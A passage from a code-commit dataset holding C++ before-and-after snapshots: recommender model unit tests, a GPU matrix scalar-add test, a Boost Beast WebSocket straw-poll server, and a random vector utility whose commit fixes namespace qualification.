model.prediction(&rec_dat));\n rec_dat = create_recdat(30,20,30,1);\n EXPECT_EQ(log(3+1), model.prediction(&rec_dat));\n rec_dat = create_recdat(30,30,20,1);\n EXPECT_EQ(log(2+1), model.prediction(&rec_dat));\n rec_dat = create_recdat(30,30,30,1);\n EXPECT_EQ(0, model.prediction(&rec_dat));\n}\n\nTEST_F(TestTransitionProbabilityModel, test_rsi){\n \/\/data\n vector<RecDat> timeline;\n timeline.push_back(create_recdat(0,10,20,1));\n timeline.push_back(create_recdat(1,10,10,1));\n timeline.push_back(create_recdat(2,10,20,1));\n timeline.push_back(create_recdat(3,10,10,1));\n timeline.push_back(create_recdat(4,10,20,1));\n timeline.push_back(create_recdat(5,10,30,1));\n timeline.push_back(create_recdat(5,20,20,1)); \/\/another user\n timeline.push_back(create_recdat(6,10,20,1));\n timeline.push_back(create_recdat(7,10,30,1));\n timeline.push_back(create_recdat(8,10,20,1));\n timeline.push_back(create_recdat(9,10,30,1));\n timeline.push_back(create_recdat(10,10,20,1));\n timeline.push_back(create_recdat(11,30,10,1)); \/\/another user\n \/\/statistics: a 20-as itemet 3-szor a 30-as, 2-szer a 10-es kovette\n \/\/statistics: a 10-es itemet 2-szor a 20-as, 0-szor a 30-es kovette\n \/\/statistics: a 30-as itemet 3-szor a 20-as, 0-szor a 10-es kovette\n\n TransitionProbabilityModel model;\n TransitionProbabilityModelUpdaterParameters params;\n TransitionProbabilityModelUpdater updater(¶ms);\n updater.set_model(&model);\n EXPECT_TRUE(model.self_test());\n EXPECT_TRUE(updater.self_test());\n for(RecDat rec_dat : timeline){\n updater.update(&rec_dat);\n }\n RankingScoreIterator* rsi;\n double item_score;\n int item_id;\n vector<int> users = {10, 20};\n for(user : users){\n rsi = model.get_ranking_score_iterator(user);\n EXPECT_TRUE(rsi->has_next());\n tie(item_id, item_score) = rsi->get_next();\n EXPECT_EQ(30,item_id);\n EXPECT_DOUBLE_EQ(log(3+1),item_score);\n EXPECT_TRUE(rsi->has_next());\n tie(item_id, item_score) = rsi->get_next();\n EXPECT_EQ(10,item_id);\n EXPECT_DOUBLE_EQ(log(2+1),item_score);\n EXPECT_FALSE(rsi->has_next());\n }\n\n rsi = model.get_ranking_score_iterator(30); \/\/user 30\n EXPECT_TRUE(rsi->has_next());\n EXPECT_FALSE(rsi->has_next(log(2+1)+0.1));\n EXPECT_TRUE(rsi->has_next(log(2+1)-0.1));\n EXPECT_FALSE(rsi->has_next(log(2+1),true)); \/\/strict\n EXPECT_TRUE(rsi->has_next(log(2+1),false)); \/\/not strict\n tie(item_id, item_score) = rsi->get_next();\n EXPECT_EQ(20,item_id);\n EXPECT_DOUBLE_EQ(log(2+1),item_score);\n EXPECT_FALSE(rsi->has_next());\n}\n\nTEST_F(TestTransitionEndLogger, test){\n vector<RecDat> timeline;\n TransitionProbabilityModel model;\n TransitionProbabilityModelUpdaterParameters params;\n params.filter_freq_updates = false; \/\/default: do not do any filtering\n TransitionProbabilityModelUpdater updater(¶ms);\n updater.set_model(&model);\n EXPECT_TRUE(model.self_test());\n EXPECT_TRUE(updater.self_test());\n TransitionModelEndLoggerParameters logger_params;\n logger_params.max_length=5;\n TransitionModelEndLogger logger(&logger_params);\n logger.set_model(&model);\n PopContainer pop_container;\n logger.set_pop_container(&pop_container);\n EXPECT_TRUE(logger.self_test());\n pop_container.increase(2);\n pop_container.increase(2);\n pop_container.increase(2);\n pop_container.increase(2); \/\/4x\n pop_container.increase(3);\n pop_container.increase(3); \/\/2x\n pop_container.increase(5);\n pop_container.increase(5);\n pop_container.increase(5);\n pop_container.increase(5);\n pop_container.increase(5);\n pop_container.increase(5); \/\/6x\n RecDat* rec_dat;\n rec_dat = create_recdat(1,1,1,1);\n updater.update(rec_dat);\n for(int i=0;i<10;i++){\n rec_dat = create_recdat(1,1,2,1);\n updater.update(rec_dat);\n rec_dat = create_recdat(1,1,3,1);\n updater.update(rec_dat);\n }\n rec_dat = create_recdat(1,1,1,1);\n updater.update(rec_dat);\n for(int i=0;i<10;i++){\n rec_dat = create_recdat(1,1,4,1);\n updater.update(rec_dat);\n rec_dat = create_recdat(1,1,5,1);\n updater.update(rec_dat);\n rec_dat = create_recdat(1,1,6,1);\n updater.update(rec_dat);\n }\n rec_dat = create_recdat(1,1,1,1);\n updater.update(rec_dat);\n for(int i=0;i<10;i++){\n RecDat* rec_dat_1 = create_recdat(1,1,7,1);\n RecDat* rec_dat_2 = create_recdat(1,1,i,1);\n for(int j=0;j<i;j++){\n updater.update(rec_dat_1);\n updater.update(rec_dat_2);\n }\n }\n std::stringstream ss;\n logger.run_core(ss);\n vector<string> expected_lines;\n expected_lines.push_back(\"0 0 0\");\n expected_lines.push_back(\"1 3 0 7,2 2,1 4,1\");\n expected_lines.push_back(\"2 2 4 3,10 7,2\");\n expected_lines.push_back(\"3 3 2 2,9 7,3 1,1\");\n expected_lines.push_back(\"4 2 0 5,10 7,4\");\n expected_lines.push_back(\"5 2 6 6,10 7,5\");\n expected_lines.push_back(\"6 3 0 4,9 7,6 1,1\");\n expected_lines.push_back(\"7 9 0 7,14 9,9 8,8 6,6 5,5\");\/\/ 4,4 3,3 2,2 1,1\");\n expected_lines.push_back(\"8 1 0 7,8\");\n expected_lines.push_back(\"9 1 0 7,8\"); \n for(int i=0;i<expected_lines.size();i++){\n string actual_line;\n std::getline(ss,actual_line);\n EXPECT_EQ(expected_lines[i],actual_line);\n } \n \/\/cerr << ss.str() << endl;\n}\n\nint main (int argc, char **argv) {\n testing::InitGoogleTest(&argc, argv);\n return RUN_ALL_TESTS();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ The MIT License (MIT)\n\/\/\n\/\/ Copyright (c) 2016 Northeastern University\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n\n#include \"include\/gpu_operations.h\"\n#include \"Eigen\/Dense\"\n#include \"gtest\/gtest.h\"\n\nTEST(GPU_MATRIX_SCALAR_ADD, Basic_Test) {\n Nice::Matrix<float> a(3,4);\n a << 1, 2, 3, 4,\n 1, 2, 3, 4,\n 1, 2, 3, 4;\n Nice::Matrix<float> b = Nice::GpuOperations<float>::Add(a, 1);\n Nice::Matrix<float> answer(3, 4);\n answer << 2, 3, 4, 5,\n 2, 3, 4, 5,\n 2, 3, 4, 5;\n ASSERT_TRUE(answer.isApprox(b));\n}\n<commit_msg>completed matrix-scalar-add<commit_after>\/\/ The MIT License (MIT)\n\/\/\n\/\/ Copyright (c) 2016 Northeastern University\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n\n#include \"include\/gpu_operations.h\"\n#include \"Eigen\/Dense\"\n#include \"gtest\/gtest.h\"\n\ntemplate<class T>\nclass GPU_MATRIX_SCALAR_ADD : public ::testing::Test {\n public:\n Nice::Matrix<T> a;\n Nice::Matrix<T> correct_ans;\n Nice::Matrix<T> calc_ans;\n T scalar;\n\n void Add() {\n calc_ans = Nice::GpuOperations<T>::Add(a, scalar);\n }\n};\n\ntypedef ::testing::Types<float, double> dataTypes;\nTYPED_TEST_CASE(GPU_MATRIX_SCALAR_ADD, dataTypes);\n\nTYPED_TEST(GPU_MATRIX_SCALAR_ADD, Basic_Test) {\n this->a.resize(3,4);\n this->a << 1, 2, 3, 4,\n 1, 2, 3, 4,\n 1, 2, 3, 4;\n this->scalar = 1;\n this->Add();\n this->correct_ans.resize(3, 4);\n this->correct_ans << 2, 3, 4, 5,\n 2, 3, 4, 5,\n 2, 3, 4, 5;\n ASSERT_TRUE(this->correct_ans.isApprox(this->calc_ans));\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2016-2017 Vinnie Falco (vinnie dot falco at gmail dot com)\n\/\/\n\/\/ Distributed under the Boost Software License, Version 1.0. (See accompanying\n\/\/ file LICENSE_1_0.txt or copy at http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/\n\/\/ Official repository: https:\/\/github.com\/boostorg\/beast\n\/\/\n\n\/\/------------------------------------------------------------------------------\n\/\/\n\/\/ Example: WebSocket server, synchronous\n\/\/\n\/\/------------------------------------------------------------------------------\n\n#include <boost\/beast\/core.hpp>\n#include <boost\/beast\/websocket.hpp>\n#include <boost\/asio\/ip\/tcp.hpp>\n#include <boost\/asio\/strand.hpp>\n#include <boost\/functional\/hash.hpp>\n\/\/#include <boost\/asio\/buffers_iterator.hpp>\n\/\/#include <cstdlib>\n\/\/#include <functional>\n#include <iostream>\n#include <string>\n#include <thread>\n\n#include <array>\n#include <unordered_map>\n#include <strawpoll.hpp>\n\nusing tcp = boost::asio::ip::tcp; \/\/ from <boost\/asio\/ip\/tcp.hpp>\nnamespace websocket = boost::beast::websocket; \/\/ from <boost\/beast\/websocket.hpp>\n\n\/\/------------------------------------------------------------------------------\n\nnamespace detail\n{\n template<typename T> struct hash\n {\n size_t operator() (const T& v) const noexcept\n {\n if (v.is_v4()) return v.to_v4().to_ulong();\n if (v.is_v6())\n {\n auto const& range = v.to_v6().to_bytes();\n return boost::hash_range(range.begin(), range.end());\n }\n if (v.is_unspecified()) return 0x4751301174351161ul;\n return boost::hash_value(v.to_string());\n }\n };\n\n template<typename T, typename M> class member_func_ptr_closure\n {\n public:\n using obj_ptr_t = T*;\n using member_func_ptr_t = M;\n\n constexpr member_func_ptr_closure(\n obj_ptr_t obj_ptr,\n member_func_ptr_t member_func_ptr\n ) noexcept\n : obj_ptr_{obj_ptr}, member_func_ptr_{member_func_ptr}\n {}\n\n template<typename... Args> auto operator() (Args&&... args)\n {\n return ((obj_ptr_)->*(member_func_ptr_))(std::forward<Args>(args)...);\n }\n\n private:\n obj_ptr_t obj_ptr_;\n member_func_ptr_t member_func_ptr_;\n };\n\n namespace conv\n {\n boost::asio::const_buffer m_b(FlatBufferRef buffer)\n {\n return { buffer.data, buffer.size };\n }\n }\n} \/\/ namespace detail\n\n\/\/using poll_data_t = PollData<VoteGuard<boost::asio::ip::address, detail::hash>>;\nusing poll_data_t = PollData<HippieVoteGuard<boost::asio::ip::address>>;\n\n\/\/ Report a failure\nvoid fail(boost::system::error_code ec, char const* what)\n{\n std::cerr << what << \": \" << ec.message() << \"\\n\";\n}\n\n\/\/ Echoes back all received WebSocket messages\ntemplate<typename FC, typename FB> class session\n{\npublic:\n \/\/ Take ownership of the socket\n explicit session(\n tcp::socket&& socket,\n boost::asio::ip::address address,\n FC on_close,\n FB broadcast,\n size_t session_id,\n poll_data_t& poll_data\n )\n : ws_{std::move(socket)}\n , address_{address}\n , strand_{ws_.get_io_service()}\n , read_in_process_{false}\n , write_in_process_{false}\n , on_close_{on_close}\n , broadcast_{broadcast}\n , session_id_{session_id}\n , poll_data_{poll_data}\n {\n ws_.binary(true); \/\/ we'll only write binary\n\n \/\/ Accept the websocket handshake\n ws_.async_accept(\n strand_.wrap([this](boost::system::error_code ec) { on_accept(ec); })\n );\n }\n\n session(const session&) = delete;\n session(session&&) = default;\n\n session& operator= (const session&) = delete;\n session& operator= (session&&) = default;\n\n ~session() = default;\n\n void add_message(FlatBufferRef br)\n {\n if (\n std::is_same_v<\n poll_data_t::vote_guard_t,\n HippieVoteGuard<boost::asio::ip::address>\n >\n || !write_in_process_ \/\/ write should always write the most recent\n || poll_data_.vote_guard.has_voted(address_)\n )\n message_queue_.push_back(detail::conv::m_b(br));\n }\n\n void flush_message_queue()\n {\n if (write_in_process_) return;\n\n if (message_queue_.empty()) return;\n\n ws_.async_write(\n std::array<boost::asio::const_buffer, 1>{{\n std::move(message_queue_.back())\n }},\n strand_.wrap(\n [this](boost::system::error_code ec, size_t bytes_transferred)\n {\n write_in_process_ = false;\n on_write(ec, bytes_transferred);\n }\n )\n );\n\n write_in_process_ = true;\n message_queue_.pop_back();\n }\n\nprivate:\n websocket::stream<tcp::socket> ws_;\n boost::asio::ip::address address_;\n boost::asio::io_service::strand strand_;\n boost::beast::multi_buffer buffer_;\n std::vector<boost::asio::const_buffer> message_queue_;\n bool read_in_process_;\n bool write_in_process_;\n FC on_close_;\n FB broadcast_;\n size_t session_id_;\n poll_data_t& poll_data_;\n\n void on_accept(boost::system::error_code ec)\n {\n if (ec) return fail(ec, \"accept\");\n\n \/\/ Read a message\n do_read();\n }\n\n void do_read()\n {\n if (read_in_process_) return;\n \/\/ Clear the buffer\n buffer_.consume(buffer_.size());\n\n \/\/ Read a message into our buffer\n ws_.async_read(\n buffer_,\n strand_.wrap(\n [this](boost::system::error_code ec, size_t bytes_transferred)\n {\n read_in_process_ = false;\n on_read(ec, bytes_transferred);\n }\n )\n );\n read_in_process_ = true;\n }\n\n void on_read(\n boost::system::error_code ec,\n size_t bytes_transferred\n ) {\n boost::ignore_unused(bytes_transferred);\n\n \/\/ This indicates that the session was closed\n if (ec == websocket::error::closed)\n {\n on_close_(session_id_);\n return;\n }\n\n if (ec) fail(ec, \"read\");\n\n build_responses();\n flush_message_queue();\n }\n\n void on_write(\n boost::system::error_code ec,\n size_t\/\/ bytes_transferred\n ) {\n \/\/boost::ignore_unused(bytes_transferred);\n\n if (ec) return fail(ec, \"write\");\n\n if (!message_queue_.empty())\n {\n flush_message_queue();\n return;\n }\n\n \/\/ Do another read\n do_read();\n }\n\n void build_responses()\n {\n const auto add_response = [&queue = message_queue_](FlatBufferRef br)\n {\n queue.push_back(detail::conv::m_b(br));\n };\n\n for (const auto buffer : buffer_.data())\n {\n const auto ok = flatbuffers::Verifier(\n boost::asio::buffer_cast<const uint8_t*>(buffer),\n boost::asio::buffer_size(buffer)\n ).VerifyBuffer<Strawpoll::Request>(nullptr);\n\n if (!ok) {\n add_response(poll_data_.error_responses.invalid_message.ref());\n continue;\n }\n\n const auto request = flatbuffers::GetRoot<Strawpoll::Request>(\n boost::asio::buffer_cast<const uint8_t*>(buffer)\n );\n\n switch(request->type())\n {\n case Strawpoll::RequestType_Poll:\n add_response(poll_data_.poll_response.ref());\n\n if (poll_data_.vote_guard.has_voted(address_))\n add_response(poll_data_.result_ref());\n break;\n case Strawpoll::RequestType_Result:\n poll_data_.register_vote(\n request->vote(),\n address_,\n add_response,\n [&broadcast = broadcast_](FlatBufferRef br) { broadcast(br); }\n );\n break;\n default:\n add_response(poll_data_.error_responses.invalid_type.ref());\n }\n }\n }\n};\n\n\/\/ Accepts incoming connections and launches the sessions\nclass listener\n{\npublic:\n void on_session_close(size_t session_id)\n {\n sessions_.erase(session_id);\n }\n\n void broadcast(FlatBufferRef br)\n {\n for (auto& [key, session] : sessions_)\n {\n session.add_message(br);\n session.flush_message_queue();\n }\n }\n\n using on_session_close_t = detail::member_func_ptr_closure<\n listener,\n decltype(&listener::on_session_close)\n >;\n using broadcast_t = detail::member_func_ptr_closure<\n listener,\n decltype(&listener::broadcast)\n >;\n\n using session_t = session<on_session_close_t, broadcast_t>;\n using sessions_t = std::unordered_map<size_t, session_t>;\n\n explicit listener(\n boost::asio::io_service& ios,\n tcp::endpoint endpoint)\n : strand_{ios}\n , acceptor_{ios}\n , socket_{ios}\n , session_id_counter_{}\n , on_session_close_{this, &listener::on_session_close}\n , broadcast_{this, &listener::broadcast}\n , poll_data_{}\n {\n boost::system::error_code ec;\n\n \/\/ Open the acceptor\n acceptor_.open(endpoint.protocol(), ec);\n if (ec)\n {\n fail(ec, \"open\");\n return;\n }\n\n \/\/ Bind to the server address\n acceptor_.bind(endpoint, ec);\n if (ec)\n {\n fail(ec, \"bind\");\n return;\n }\n\n \/\/ Start listening for connections\n acceptor_.listen(boost::asio::socket_base::max_connections, ec);\n if (ec)\n {\n fail(ec, \"listen\");\n return;\n }\n\n if (! acceptor_.is_open()) return;\n do_accept();\n }\n\n listener(const listener&) = delete;\n listener(listener&&) = default;\n\n listener& operator= (const listener&) = delete;\n listener& operator= (listener&&) = default;\n\n ~listener() = default;\n\n void do_accept()\n {\n acceptor_.async_accept(\n socket_,\n strand_.wrap([this](boost::system::error_code ec) { on_accept(ec); })\n );\n }\n\n void on_accept(boost::system::error_code ec)\n {\n if (ec)\n {\n fail(ec, \"accept\");\n }\n else\n {\n \/\/ Create the session and run it\n const auto address = socket_.remote_endpoint().address();\n sessions_.try_emplace(\n session_id_counter_,\n std::move(socket_),\n std::move(address),\n on_session_close_,\n broadcast_,\n session_id_counter_,\n poll_data_\n );\n ++session_id_counter_;\n }\n\n \/\/ Accept another connection\n do_accept();\n }\n\nprivate:\n boost::asio::io_service::strand strand_;\n tcp::acceptor acceptor_;\n tcp::socket socket_;\n size_t session_id_counter_;\n on_session_close_t on_session_close_;\n broadcast_t broadcast_;\n sessions_t sessions_;\n poll_data_t poll_data_;\n};\n\n\/\/------------------------------------------------------------------------------\n\nint main()\n{\n const auto address = boost::asio::ip::address::from_string(\"127.0.0.1\");\n const auto port = static_cast<unsigned short>(3003);\n\n boost::asio::io_service ios{1};\n listener lis{ios, tcp::endpoint{address, port}};\n ios.run(); \/\/ blocking\n}\n<commit_msg>Beast example cleanup<commit_after>\/\/\n\/\/ Copyright (c) 2016-2017 Vinnie Falco (vinnie dot falco at gmail dot com)\n\/\/\n\/\/ Distributed under the Boost Software License, Version 1.0. (See accompanying\n\/\/ file LICENSE_1_0.txt or copy at http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/\n\/\/ Official repository: https:\/\/github.com\/boostorg\/beast\n\/\/\n\n\/\/------------------------------------------------------------------------------\n\/\/\n\/\/ Example: WebSocket server, synchronous\n\/\/\n\/\/------------------------------------------------------------------------------\n\n#include <boost\/beast\/core.hpp>\n#include <boost\/beast\/websocket.hpp>\n#include <boost\/asio\/ip\/tcp.hpp>\n#include <boost\/asio\/strand.hpp>\n#include <boost\/functional\/hash.hpp>\n#include <iostream>\n\n#include <array>\n#include <unordered_map>\n#include <strawpoll.hpp>\n\nusing tcp = boost::asio::ip::tcp; \/\/ from <boost\/asio\/ip\/tcp.hpp>\nnamespace websocket = boost::beast::websocket; \/\/ from <boost\/beast\/websocket.hpp>\n\n\/\/------------------------------------------------------------------------------\n\nnamespace detail\n{\n template<typename T> struct hash\n {\n size_t operator() (const T& v) const noexcept\n {\n if (v.is_v4()) return v.to_v4().to_ulong();\n if (v.is_v6())\n {\n auto const& range = v.to_v6().to_bytes();\n return boost::hash_range(range.begin(), range.end());\n }\n if (v.is_unspecified()) return 0x4751301174351161ul;\n return boost::hash_value(v.to_string());\n }\n };\n\n template<typename T, typename M> class member_func_ptr_closure\n {\n public:\n using obj_ptr_t = T*;\n using member_func_ptr_t = M;\n\n constexpr member_func_ptr_closure(\n obj_ptr_t obj_ptr,\n member_func_ptr_t member_func_ptr\n ) noexcept\n : obj_ptr_{obj_ptr}, member_func_ptr_{member_func_ptr}\n {}\n\n template<typename... Args> auto operator() (Args&&... args)\n {\n return ((obj_ptr_)->*(member_func_ptr_))(std::forward<Args>(args)...);\n }\n\n private:\n obj_ptr_t obj_ptr_;\n member_func_ptr_t member_func_ptr_;\n };\n\n namespace conv\n {\n boost::asio::const_buffer m_b(FlatBufferRef buffer)\n {\n return { buffer.data, buffer.size };\n }\n }\n} \/\/ namespace detail\n\n\/\/using poll_data_t = PollData<VoteGuard<boost::asio::ip::address, detail::hash>>;\nusing poll_data_t = PollData<HippieVoteGuard<boost::asio::ip::address>>;\n\n\/\/ Report a failure\nvoid fail(boost::system::error_code ec, char const* what)\n{\n std::cerr << what << \": \" << ec.message() << \"\\n\";\n}\n\n\/\/ Echoes back all received WebSocket messages\ntemplate<typename FC, typename FB> class session\n{\npublic:\n \/\/ Take ownership of the socket\n explicit session(\n tcp::socket&& socket,\n boost::asio::ip::address address,\n FC on_close,\n FB broadcast,\n size_t session_id,\n poll_data_t& poll_data\n )\n : ws_{std::move(socket)}\n , address_{address}\n , strand_{ws_.get_io_service()}\n , read_in_process_{false}\n , write_in_process_{false}\n , on_close_{on_close}\n , broadcast_{broadcast}\n , session_id_{session_id}\n , poll_data_{poll_data}\n {\n ws_.binary(true); \/\/ we'll only write binary\n\n \/\/ Accept the websocket handshake\n ws_.async_accept(\n strand_.wrap([this](boost::system::error_code ec) { on_accept(ec); })\n );\n }\n\n session(const session&) = delete;\n session(session&&) = default;\n\n session& operator= (const session&) = delete;\n session& operator= (session&&) = default;\n\n ~session() = default;\n\n void add_message(FlatBufferRef br)\n {\n if (\n std::is_same_v<\n poll_data_t::vote_guard_t,\n HippieVoteGuard<boost::asio::ip::address>\n >\n || !write_in_process_ \/\/ write should always write the most recent\n || poll_data_.vote_guard.has_voted(address_)\n )\n message_queue_.push_back(detail::conv::m_b(br));\n }\n\n void flush_message_queue()\n {\n if (write_in_process_) return;\n\n if (message_queue_.empty()) return;\n\n ws_.async_write(\n std::array<boost::asio::const_buffer, 1>{{\n std::move(message_queue_.back())\n }},\n strand_.wrap(\n [this](boost::system::error_code ec, size_t bytes_transferred)\n {\n write_in_process_ = false;\n on_write(ec, bytes_transferred);\n }\n )\n );\n\n write_in_process_ = true;\n message_queue_.pop_back();\n }\n\nprivate:\n websocket::stream<tcp::socket> ws_;\n boost::asio::ip::address address_;\n boost::asio::io_service::strand strand_;\n boost::beast::multi_buffer buffer_;\n std::vector<boost::asio::const_buffer> message_queue_;\n bool read_in_process_;\n bool write_in_process_;\n FC on_close_;\n FB broadcast_;\n size_t session_id_;\n poll_data_t& poll_data_;\n\n void on_accept(boost::system::error_code ec)\n {\n if (ec) return fail(ec, \"accept\");\n\n \/\/ Read a message\n do_read();\n }\n\n void do_read()\n {\n if (read_in_process_) return;\n \/\/ Clear the buffer\n buffer_.consume(buffer_.size());\n\n \/\/ Read a message into our buffer\n ws_.async_read(\n buffer_,\n strand_.wrap(\n [this](boost::system::error_code ec, size_t bytes_transferred)\n {\n read_in_process_ = false;\n on_read(ec, bytes_transferred);\n }\n )\n );\n read_in_process_ = true;\n }\n\n void on_read(\n boost::system::error_code ec,\n size_t bytes_transferred\n ) {\n boost::ignore_unused(bytes_transferred);\n\n \/\/ This indicates that the session was closed\n if (ec == websocket::error::closed)\n {\n on_close_(session_id_);\n return;\n }\n\n if (ec) fail(ec, \"read\");\n\n build_responses();\n flush_message_queue();\n }\n\n void on_write(\n boost::system::error_code ec,\n size_t\/\/ bytes_transferred\n ) {\n \/\/boost::ignore_unused(bytes_transferred);\n\n if (ec) return fail(ec, \"write\");\n\n if (!message_queue_.empty())\n {\n flush_message_queue();\n return;\n }\n\n \/\/ Do another read\n do_read();\n }\n\n void build_responses()\n {\n const auto add_response = [&queue = message_queue_](FlatBufferRef br)\n {\n queue.push_back(detail::conv::m_b(br));\n };\n\n for (const auto buffer : buffer_.data())\n {\n const auto ok = flatbuffers::Verifier(\n boost::asio::buffer_cast<const uint8_t*>(buffer),\n boost::asio::buffer_size(buffer)\n ).VerifyBuffer<Strawpoll::Request>(nullptr);\n\n if (!ok) {\n add_response(poll_data_.error_responses.invalid_message.ref());\n continue;\n }\n\n const auto request = flatbuffers::GetRoot<Strawpoll::Request>(\n boost::asio::buffer_cast<const uint8_t*>(buffer)\n );\n\n switch(request->type())\n {\n case Strawpoll::RequestType_Poll:\n add_response(poll_data_.poll_response.ref());\n\n if (poll_data_.vote_guard.has_voted(address_))\n add_response(poll_data_.result_ref());\n break;\n case Strawpoll::RequestType_Result:\n poll_data_.register_vote(\n request->vote(),\n address_,\n add_response,\n [&broadcast = broadcast_](FlatBufferRef br) { broadcast(br); }\n );\n break;\n default:\n add_response(poll_data_.error_responses.invalid_type.ref());\n }\n }\n }\n};\n\n\/\/ Accepts incoming connections and launches the sessions\nclass listener\n{\npublic:\n void on_session_close(size_t session_id)\n {\n sessions_.erase(session_id);\n }\n\n void broadcast(FlatBufferRef br)\n {\n for (auto& [key, session] : sessions_)\n {\n session.add_message(br);\n session.flush_message_queue();\n }\n }\n\n using on_session_close_t = detail::member_func_ptr_closure<\n listener,\n decltype(&listener::on_session_close)\n >;\n using broadcast_t = detail::member_func_ptr_closure<\n listener,\n decltype(&listener::broadcast)\n >;\n\n using session_t = session<on_session_close_t, broadcast_t>;\n using sessions_t = std::unordered_map<size_t, session_t>;\n\n explicit listener(\n boost::asio::io_service& ios,\n tcp::endpoint endpoint)\n : strand_{ios}\n , acceptor_{ios}\n , socket_{ios}\n , session_id_counter_{}\n , on_session_close_{this, &listener::on_session_close}\n , broadcast_{this, &listener::broadcast}\n , poll_data_{}\n {\n boost::system::error_code ec;\n\n \/\/ Open the acceptor\n acceptor_.open(endpoint.protocol(), ec);\n if (ec)\n {\n fail(ec, \"open\");\n return;\n }\n\n \/\/ Bind to the server address\n acceptor_.bind(endpoint, ec);\n if (ec)\n {\n fail(ec, \"bind\");\n return;\n }\n\n \/\/ Start listening for connections\n acceptor_.listen(boost::asio::socket_base::max_connections, ec);\n if (ec)\n {\n fail(ec, \"listen\");\n return;\n }\n\n if (!acceptor_.is_open()) return;\n do_accept();\n }\n\n listener(const listener&) = delete;\n listener(listener&&) = default;\n\n listener& operator= (const listener&) = delete;\n listener& operator= (listener&&) = default;\n\n ~listener() = default;\n\n void do_accept()\n {\n acceptor_.async_accept(\n socket_,\n strand_.wrap([this](boost::system::error_code ec) { on_accept(ec); })\n );\n }\n\n void on_accept(boost::system::error_code ec)\n {\n if (ec)\n {\n fail(ec, \"accept\");\n }\n else\n {\n \/\/ Create the session and run it\n const auto address = socket_.remote_endpoint().address();\n sessions_.try_emplace(\n session_id_counter_,\n std::move(socket_),\n std::move(address),\n on_session_close_,\n broadcast_,\n session_id_counter_,\n poll_data_\n );\n ++session_id_counter_;\n }\n\n \/\/ Accept another connection\n do_accept();\n }\n\nprivate:\n boost::asio::io_service::strand strand_;\n tcp::acceptor acceptor_;\n tcp::socket socket_;\n size_t session_id_counter_;\n on_session_close_t on_session_close_;\n broadcast_t broadcast_;\n sessions_t sessions_;\n poll_data_t poll_data_;\n};\n\n\/\/------------------------------------------------------------------------------\n\nint main()\n{\n const auto address = boost::asio::ip::address::from_string(\"127.0.0.1\");\n const auto port = static_cast<unsigned short>(3003);\n\n boost::asio::io_service ios{1};\n listener lis{ios, tcp::endpoint{address, port}};\n ios.run(); \/\/ blocking\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Random.h\"\n#include \"VectorMath.h\"\n#include \"Common.h\"\n\nnamespace ECSE\n{\n\nstd::random_device randomDevice;\nstd::mt19937 ECSE::randomEngine(randomDevice());\n\nsf::Vector2f ECSE::randomSpreadVector(float midAngle, float angleSpread, float minMag, float maxMag)\n{\n auto angleDist = std::uniform_real_distribution<float>(\n midAngle - angleSpread * 0.5f,\n midAngle + angleSpread * 0.5f\n );\n auto magDist = std::uniform_real_distribution<float>(minMag, maxMag);\n\n float angle = angleDist(randomEngine);\n float mag = magDist(randomEngine);\n\n auto v = sf::Vector2f(mag, 0.f);\n setHeading(v, angle);\n\n return v;\n}\n\nsf::Vector2f ECSE::randomEllipticalVector(float xScale, float angle, float minMag, float maxMag)\n{\n \/\/ Just generate a random circular vector, scale it, and rotate it\n auto vec = ECSE::randomSpreadVector(0.f, ECSE::twoPi, minMag, maxMag);\n vec.x *= xScale;\n ECSE::rotate(vec, angle);\n\n return vec;\n}\n\n}<commit_msg>Fix explicit qualification.<commit_after>#include \"Random.h\"\n#include \"VectorMath.h\"\n#include \"Common.h\"\n\nnamespace ECSE\n{\n\nstd::random_device randomDevice;\nstd::mt19937 randomEngine(randomDevice());\n\nsf::Vector2f randomSpreadVector(float midAngle, float angleSpread, float minMag, float maxMag)\n{\n auto angleDist = std::uniform_real_distribution<float>(\n midAngle - angleSpread * 0.5f,\n midAngle + angleSpread * 0.5f\n );\n auto magDist = 